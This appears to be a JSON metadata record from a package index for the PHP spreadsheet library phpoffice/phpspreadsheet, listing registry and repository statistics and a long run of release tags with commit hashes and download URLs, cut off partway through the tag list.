{"id":2681,"name":"phpoffice/phpspreadsheet","ecosystem":"packagist","repository_url":"https://github.com/PHPOffice/PhpSpreadsheet","issues_count":353,"created_at":"2025-06-06T15:02:09.531Z","updated_at":"2025-06-06T15:02:09.531Z","purl":"pkg:composer/phpoffice/phpspreadsheet","metadata":{"id":670218,"name":"phpoffice/phpspreadsheet","ecosystem":"packagist","description":"PHPSpreadsheet - Read, Create and Write Spreadsheet documents in PHP - Spreadsheet engine","homepage":"https://github.com/PHPOffice/PhpSpreadsheet","licenses":"MIT","normalized_licenses":["MIT"],"repository_url":"https://github.com/PHPOffice/PhpSpreadsheet","keywords_array":["php","excel","spreadsheet","xls","xlsx","OpenXML","ods","gnumeric"],"namespace":"phpoffice","versions_count":92,"first_release_published_at":"2017-08-17T13:17:23.000Z","latest_release_published_at":"2025-05-26T18:51:08.000Z","latest_release_number":"4.3.1","last_synced_at":"2025-06-06T08:00:45.933Z","created_at":"2022-04-07T10:42:12.877Z","updated_at":"2025-06-06T08:00:45.933Z","registry_url":"https://packagist.org/packages/phpoffice/phpspreadsheet#","install_command":"composer require phpoffice/phpspreadsheet","documentation_url":null,"metadata":{"funding":[]},"repo_metadata":{"id":37397004,"uuid":"61490598","full_name":"PHPOffice/PhpSpreadsheet","owner":"PHPOffice","description":"A pure PHP library for reading and writing spreadsheet files","archived":false,"fork":false,"pushed_at":"2024-10-15T05:01:14.000Z","size":67355,"stargazers_count":13331,"open_issues_count":183,"forks_count":3461,"subscribers_count":315,"default_branch":"master","last_synced_at":"2024-10-29T19:19:28.375Z","etag":null,"topics":["excel","gnumeric","hacktoberfest","libreoffice","msexcel","ods","office","php","phpexcel","spreadsheet","sylk","xls","xlsx"],"latest_commit_sha":null,"homepage":"https://phpspreadsheet.readthedocs.io","language":"PHP","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/PHPOffice.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGELOG.PHPExcel.md","contributing":"CONTRIBUTING.md","funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":".github/support.yml","governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2016-06-19T16:58:48.000Z","updated_at":"2024-10-29T03:53:08.000Z","dependencies_parsed_at":"2022-07-14T03:50:29.398Z","dependency_job_id":"71ed4c96-ea3a-4aca-90d1-68b3e5cffab5","html_url":"https://github.com/PHPOffice/PhpSpreadsheet","commit_stats":{"total_commits":3690,"total_committers":372,"mean_commits":9.919354838709678,"dds":0.5764227642276423,"last_synced_commit":"1282f3d67cf7ed69abd50185595ced97f8f06ffc"},"previous_names":[],"tags_count":51,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/PHPOffice","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/refs/heads/master","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":222113315,"owners_count":16933632,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"PHPOffice","name":"PHPOffice","uuid":"1836015","kind":"organization","description":null,"email":null,"website":"http://github.com/PHPOffice","location":"The Internet","twitter":null,"company":null,"icon_url":"https://avatars.githubusercontent.com/u/1836015?v=4","repositories_count":9,"last_synced_at":"2024-03-25T20:41:46.670Z","metadata":{"has_sponsors_listing":false},"html_url":"https://github.com/PHPOffice","funding_links":[],"total_stars":33342,"followers":427,"following":0,"created_at":"2022-11-02T16:35:14.128Z","updated_at":"2024-03-25T20:41:49.296Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/PHPOffice","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/PHPOffice/repositories"},"tags":[{"name":"2.2.0","sha":"b0993b7e4d9c860133365d115b176bc6e0f57022","kind":"commit","published_at":"2024-07-24T13:21:18.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/2.2.0","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/2.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/2.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/2.2.0/manifests"},{"name":"2.1.0","sha":"dbed77bd3a0f68f96c0dd68ad4499d5674fecc3e","kind":"tag","published_at":"2024-05-11T04:18:15.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/2.1.0","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/2.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/2.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/2.1.0/manifests"},{"name":"2.0.0","sha":"4a77798f835119754961a97714f135826a323caa","kind":"tag","published_at":"2024-01-24T10:41:55.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/2.0.0","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/2.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/2.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/2.0.0/manifests"},{"name":"1.29.0","sha":"fde2ccf55eaef7e86021ff1acce26479160a0fa0","kind":"tag","published_at":"2023-06-14T22:48:59.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/1.29.0","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/1.29.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.29.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.29.0/manifests"},{"name":"1.28.0","sha":"6e81cf39bbd93ebc3a4e8150444c41e8aa9b769a","kind":"tag","published_at":"2023-02-25T12:25:14.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/1.28.0","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/1.28.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.28.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.28.0/manifests"},{"name":"1.27.1","sha":"ef4e6ef74990239946d3983451a9bbed5ef1be5d","kind":"tag","published_at":"2023-02-08T07:04:03.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/1.27.1","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/1.27.1","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.27.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.27.1/manifests"},{"name":"1.27.0","sha":"eeb8582f9cabf5a7f4ef78015691163233a1834f","kind":"tag","published_at":"2023-01-24T20:08:07.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/1.27.0","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/1.27.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.27.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.27.0/manifests"},{"name":"1.26.0","sha":"5b6ceea9705b068f993e268e4debc566c2637063","kind":"tag","published_at":"2022-12-21T12:22:42.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/1.26.0","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/1.26.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.26.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.26.0/manifests"},{"name":"1.25.2","sha":"a317a09e7def49852400a4b3eca4a4b0790ceeb5","kind":"tag","published_at":"2022-09-25T17:21:24.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/1.25.2","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/1.25.2","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.25.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.25.2/manifests"},{"name":"1.25.1","sha":"bfd6e640fac2160a316353e3cafaeb605112b9b5","kind":"commit","published_at":"2022-09-25T17:14:46.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/1.25.1","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/1.25.1","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.25.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.25.1/manifests"},{"name":"1.25.0","sha":"86f3730ded48d0223fda78f3fb630e1e9ca59917","kind":"tag","published_at":"2022-09-25T11:07:00.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/1.25.0","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/1.25.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.25.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.25.0/manifests"},{"name":"1.24.1","sha":"69991111e05fca3ff7398e1e7fca9ebed33efec6","kind":"commit","published_at":"2022-07-18T19:50:48.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/1.24.1","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/1.24.1","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.24.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.24.1/manifests"},{"name":"1.24.0","sha":"ebe8745c92a7cac4514d040758393b5399633b83","kind":"tag","published_at":"2022-07-09T13:57:36.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/1.24.0","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/1.24.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.24.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.24.0/manifests"},{"name":"1.23.0","sha":"21e4cf62699eebf007db28775f7d1554e612ed9e","kind":"tag","published_at":"2022-04-24T13:54:40.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/1.23.0","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/1.23.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.23.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.23.0/manifests"},{"name":"1.22.0","sha":"3a9e29b4f386a08a151a33578e80ef1747037a48","kind":"tag","published_at":"2022-02-18T12:57:44.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/1.22.0","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/1.22.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.22.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.22.0/manifests"},{"name":"1.21.0","sha":"1a359d2ccbb89c05f5dffb32711a95f4afc67964","kind":"tag","published_at":"2022-01-06T11:10:17.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/1.21.0","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/1.21.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.21.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.21.0/manifests"},{"name":"1.20.0","sha":"44436f270bb134b4a94670f3d020a85dfa0a3c02","kind":"tag","published_at":"2021-11-23T15:24:13.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/1.20.0","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/1.20.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.20.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.20.0/manifests"},{"name":"1.19.0","sha":"a9ab55bfae02eecffb3df669a2e19ba0e2f04bbf","kind":"tag","published_at":"2021-10-31T15:09:40.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/1.19.0","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/1.19.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.19.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.19.0/manifests"},{"name":"1.18.0","sha":"418cd304e8e6b417ea79c3b29126a25dc4b1170c","kind":"tag","published_at":"2021-05-31T18:34:12.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/1.18.0","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/1.18.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.18.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.18.0/manifests"},{"name":"1.17.1","sha":"c55269cb06911575a126dc225a05c0e4626e5fb4","kind":"tag","published_at":"2021-03-02T17:55:40.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/1.17.1","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/1.17.1","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.17.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.17.1/manifests"},{"name":"1.17.0","sha":"42e8680fc032f8c6f17085c238b2885205688767","kind":"tag","published_at":"2021-03-02T17:39:23.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/1.17.0","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/1.17.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.17.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.17.0/manifests"},{"name":"1.16.0","sha":"76d4323b85129d0c368149c831a07a3e258b2b50","kind":"tag","published_at":"2020-12-31T18:13:56.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/1.16.0","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/1.16.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.16.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.16.0/manifests"},{"name":"1.15.0","sha":"a8e8068b31b8119e1daa5b1eb5715a3a8ea8305f","kind":"tag","published_at":"2020-10-11T13:22:04.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/1.15.0","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/1.15.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.15.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.15.0/manifests"},{"name":"1.14.1","sha":"2383aad5689778470491581442aab38cec41bf1d","kind":"tag","published_at":"2020-07-19T09:51:56.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/1.14.1","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/1.14.1","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.14.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.14.1/manifests"},{"name":"1.14.0","sha":"73fe58fdc9f3977619bec6b26e867eb2ac059dcd","kind":"tag","published_at":"2020-06-29T01:51:29.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/1.14.0","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/1.14.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.14.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.14.0/manifests"},{"name":"1.13.0","sha":"21bfb5b3243b8ceb9eda499a4d699fc42c11a9d1","kind":"tag","published_at":"2020-05-31T13:49:58.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/1.13.0","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/1.13.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.13.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.13.0/manifests"},{"name":"1.12.0","sha":"f79611d6dc1f6b7e8e30b738fc371b392001dbfd","kind":"tag","published_at":"2020-04-27T08:12:54.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/1.12.0","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/1.12.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.12.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.12.0/manifests"},{"name":"1.11.0","sha":"c2a205e82f9cf1cc9fab86b79e808d86dd680470","kind":"tag","published_at":"2020-03-02T13:09:25.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/1.11.0","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/1.11.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.11.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.11.0/manifests"},{"name":"1.10.1","sha":"1648dc9ebef6ebe0c5a172e16cf66732918416e0","kind":"tag","published_at":"2019-12-01T23:14:10.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/1.10.1","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/1.10.1","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.10.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.10.1/manifests"},{"name":"1.10.0","sha":"f734783d826bd84c3d54fcf7b71c37ab9bac4b04","kind":"tag","published_at":"2019-11-18T11:33:32.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/1.10.0","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/1.10.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.10.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.10.0/manifests"},{"name":"1.9.0","sha":"8dea03eaf60a349b6097e4bcad11f894668280df","kind":"tag","published_at":"2019-08-17T22:24:51.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/1.9.0","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/1.9.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.9.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.9.0/manifests"},{"name":"1.8.2","sha":"0c1346a1956347590b7db09533966307d20cb7cc","kind":"tag","published_at":"2019-07-08T21:23:45.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/1.8.2","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/1.8.2","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.8.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.8.2/manifests"},{"name":"1.8.1","sha":"352c7002fefe4e4037d02654d853a1b09520946f","kind":"tag","published_at":"2019-07-01T20:48:53.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/1.8.1","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/1.8.1","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.8.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.8.1/manifests"},{"name":"1.8.0","sha":"0e6238c69e863b58aeece61e48ea032696c6dccd","kind":"tag","published_at":"2019-06-30T23:00:13.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/1.8.0","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/1.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.8.0/manifests"},{"name":"1.7.0","sha":"84e09df79855ed3da84e2eab6850eb7741d8cbda","kind":"tag","published_at":"2019-05-26T02:51:09.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/1.7.0","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/1.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.7.0/manifests"},{"name":"1.6.0","sha":"bf00f0cc5f55c354018f9a9ef15e6e3e1a229051","kind":"tag","published_at":"2019-01-02T04:44:16.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/1.6.0","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/1.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.6.0/manifests"},{"name":"1.5.2","sha":"cd60531c44f580fbdfbd55dfb935af791f09be5d","kind":"tag","published_at":"2018-11-25T17:49:00.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/1.5.2","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/1.5.2","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.5.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.5.2/manifests"},{"name":"1.5.1","sha":"7f46932b2fabbaaf5a70e67cacc472a50b95cbb9","kind":"tag","published_at":"2018-11-20T19:54:34.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/1.5.1","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/1.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.5.1/manifests"},{"name":"1.5.0","sha":"2dfd06c59825914a1a325f2a2ed13634b9d8c411","kind":"tag","published_at":"2018-10-21T10:05:00.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/1.5.0","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/1.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.5.0/manifests"},{"name":"1.4.1","sha":"57404f43742a8164b5eac3ab03b962d8740885c1","kind":"